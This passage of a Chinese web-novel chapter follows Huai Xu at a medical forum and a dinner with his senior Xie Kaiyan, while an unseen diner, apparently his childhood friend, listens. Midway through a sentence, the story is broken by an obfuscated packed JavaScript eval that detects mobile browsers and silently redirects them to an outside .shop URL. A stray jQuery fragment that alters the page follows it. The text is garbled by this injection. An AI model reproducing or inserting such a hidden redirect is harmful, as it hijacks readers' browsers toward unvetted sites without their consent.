话音未落,淮煦实在忍不住了,他捂着嘴打了个哈欠,双眼迷蒙地睁着,刚打算回谢开颜的话,下一秒,他直接瘫倒在座椅里——张着嘴睡着了。
谢开颜从后视镜里目睹了一切,他手指在方向盘上轻快地点着,无声地笑笑,调低空调的温度,缓缓把车停在路边,然后给淮煦盖上一条毯子。
他看了淮煦几秒钟,又恍然发觉这样有点失礼,于是回过神,继续开车。
十几分钟后,车子抵达会场,谢开颜将车停在酒店正门旁边的VIP停车位上。
他家在这里常年包着几套总统套房,一直以来享受的都是VIP待遇。
停好车,他回过头。
他在犹豫要不要叫醒淮煦。
那个论坛挺难得的,但也不是没有再办的机会。
他出身医学世家,家里好几代都是从医的,在医学领域颇有建树。
踌躇间,淮煦醒了。
人体是一套相当精密的组织系统,淮煦虽然在睡觉,身体却能感觉到汽车的运行,同理,他也能在睡梦中察觉到发动机停止了工作。
于是一上车就困的人,在车停下后也就自然醒了。
淮煦睁开眼,漆黑的眸子还有些迷离,过了一瞬之后,他眨眨眼,瞳孔开始聚焦,看清了眼前的一切,与谢开颜对视上了。
淮煦抱歉地笑笑,摸着后脑勺说:“不好意思啊学长,我这人一上车就犯困,忘记提前和你说了。”
谢开颜不在意地笑笑:“没事,那我们下车?”
“好。”淮煦拉开车门。
谢开颜快他一步,一边帮他扶着车门,一边用手护着他的头顶。
淮煦觉得十分没有必要,身子灵活一晃,直接绕过了谢开颜的手掌,“谢谢学长,不过你不用这样,都是男生,犯不着。”
谢开颜收回手,温文尔雅地笑笑:“你发小不这样吗?”
淮煦脱口而出:“他不一样,他是我发小啊。”
“嗬嗬,也对。”谢开颜点点头,没再说话。
两人安静地走了几步,淮煦突然想起什么,转头问:“对了学长,我记得我睡着之前你问了我一个问题,是什么来着?”
谢开颜推了推眼镜,弯唇道,“不是什么重要的问题。”
“哈,那我就放心了,我刚刚是实在太失礼了。”淮煦呼出一口气。
谢开颜认真地看着他:“无所谓的,你跟我不用那么客气,饿了就吃,困了就睡,没什么失礼不失礼的。”
“哈哈,学长你真的好随和,你女朋友一定超级幸福。”淮煦眯起眼睛开玩笑。
谢开颜跟着笑笑,“我没有女朋友。”
淮煦马上道:“一定会有的。”
谢开颜看看他,不置可否。
这次的医学论坛讨论的是人类医学和人工智能的结合。
近年来,AI与医学的结合日渐紧密,推动了医疗技术的更新换代,同时还大大提高了很多疾病的治愈率,在外科手术技术方面更是取得了极大的突破,既惠于患者又惠于医疗工作者。
淮煦听得津津有味,结束后还意犹未尽地和谢开颜讨论。
两人一边聊着一边走出会场,然后驱车直接抵达吃饭的地方。
淮煦选的是他和景正悬常来的西餐厅,连位置也是常坐的那桌。
他背后是一截半人高的装饰墙,上面摆了一排新鲜的百合,清新而生机盎然。
因为是常来的餐厅,经理和服务生早就对淮煦的点餐需求如数家珍,直接把菜单拿给谢开颜,然后就问淮煦是不是还点那几样。
淮煦笑着说是。
熟悉的餐厅就是这点好,你的需求人家都记得,不用再赘述,也不用担心因为要求太多而被赶出去。
当然,淮煦从来都没有被赶出去过,但他自觉自己的毛病也实在是有点多,能找到一个满足他要求的餐厅可太难了。
这家店还是他和景正悬大一的时候过来吃的,后来就成为他们的备选餐厅之一。
听见服务生的询问,谢开颜从菜单上抬起头,他是知道淮煦有些特殊的,但是没想到这么特殊。
他关心地问:“这么多年一定很辛苦吧。”
淮煦闻言一愣,从来没有人问过这个。
他辛苦吗?
肯定是辛苦的,他就像一个半合格品,说明书厚得离谱,自己背得晕头转向,其他人更是敬而远之。
可是细想起来,他的妈妈和景正悬才是真正辛苦的人,他们比他还要熟悉他的使用说明书,这么多年来不厌其烦地、一遍又一遍地遵守着那些注意事项。
他们比他辛苦多了。
淮煦眼圈忽然红起来,他皮肤很白,脸上稍微挂点血色就特别明显,直接把谢开颜看慌了,急忙递纸巾。
“我是不是说错话了?”
淮煦接过纸巾,却没有用,他只是眼圈红了那么一下下,实际上没有眼泪。
他吸一下鼻子,揉揉脸,然后笑了,“学长,你真的是很温暖的一个人。”
话音一落,淮煦身后传来餐具掉落的声音,紧接着有一位服务生去到他身后那桌,却只听见服务生的声音。
淮煦没有多想,继续和谢开颜说:“不过辛苦的不是我,是我妈和景正悬,他们才是真正辛苦的人。”
谢开颜看着他的表情,转移了话题:“你研究生打算跟哪位导师?”
淮煦的注意力成功被带偏,想了想道:“我还没想好,据说选导师非常关键。”
谢开颜点头:“确实非常关键,我可以帮你参谋参谋……”
用餐的过程中,两人就锦城大学医学院的诸位教授以及专业展开了热烈讨论,聊天内容堪比学术论坛。
说着说着话题不知怎么拐到了景正悬身上。
谢开颜先是打量了一下淮煦的神色,而后笑笑问:“你发小是不是不喜欢我?”
“怎么会?”淮煦忙不迭否认,“学长你别误会,他只是不怎么爱说话,对谁都这样。”
谢开颜扶了下眼镜,“是吗?我看他对你挺爱说话的。”
淮煦扬扬下巴,玩笑似地说:“那是,毕竟我是他发小,他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175349|149723||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不对我特殊对谁特殊?”
“也对,”谢开颜点点头,又道,“那你有没有想过他谈恋爱了怎么办?”
淮煦洒脱道:“还能怎么办,祝福呗,我还能跟他女朋友争宠吗难道?”
话音一落,淮煦身后的客人似乎又把刀叉碰地上了,金属的声音砸在大理石地板上发出刺耳的声音。
淮煦疑惑的往后瞧了一眼,却只能透过墙上的百合花看见服务生的头顶,同样的,这次依然只有服务生的声音。
也许是位和景正悬一样不怎么爱讲话的人,淮煦心里呢喃。
他回过头,说起景正悬谈恋爱,淮煦总觉得那是很陌生的词汇,毕竟景正悬连早恋都没有过。
早的不说,就说高中时期。
那时候景正悬就已经有193的身高了,傲人的身高加上穿衣显瘦脱衣有肉的完美身材,要多惹眼有多惹眼,更别说他还长了一张过分帅气逼人的脸,穿着简简单单的校服愣是比模特还要有气质。
淮煦以为凭景正悬的条件,情书都得成斤成斤地收,可结果却恰恰相反,景正悬没收到过几封情书,除了他转交的那几封,他从来没在景正悬书包里发现过粉色的信笺。
他以为是景正悬高不可攀的气场让人不敢靠近,却不知道其实事出有因。
景正悬曾经当着全班同学的面让送情书的女生下不来台。
情书是前一秒送到的,景正悬看都没看就直接撇进了垃圾桶,粉色的信纸在他手里停留的时间不超过一秒。
那个女生当场就哭着跑走了。
对女生这样,对男生景正悬更是毫不留情,直接一圈打断了对方的鼻梁骨。
两次之后,再没人敢给他送情书了,连主动搭话的人都变少了。
淮煦吃着牛排,有点心不在焉。
如果景正悬恋爱……会是什么样?
他们之间是不是就得疏远了?
淮煦皱眉,平时味道刚好的牛排这次怎么寡淡无味?
他往上面撒了些酱汁。
谢开颜看着他的动作,又问:“你有想过你自己谈恋爱吗?”
话落,淮煦身后那桌客人又发出了刺耳的声音,金属和餐盘强烈地摩擦着,听得人耳鸣。
服务生又过去了,淮煦继续回答问题。
“我谈恋爱?”他指了指自己,摇头道,“没有,不可能。”
谢开颜露出疑惑的表情。
淮煦掰着手指解释:“首先,我的身体太娇气,体弱也是会遗传的,我不想让我的孩子重走我的路。”
“其次,我身体这么差,另一半不得担心死,还是别给其他人添麻烦的好。”
“……”谢开颜顿了顿,目光有些心疼,“你也不用这么悲观。”
“这不是悲观,是认清并接受客观事实。我身体的确很差,能活19年已经不容易了,”淮煦摆摆手,而后又笑笑,“不过我觉得我还能再活19年。”
谢开颜摘下眼镜揉了揉眼睛。
淮煦身后,那位经常弄出声响的客人伏案垂首,肩膀隐隐颤抖……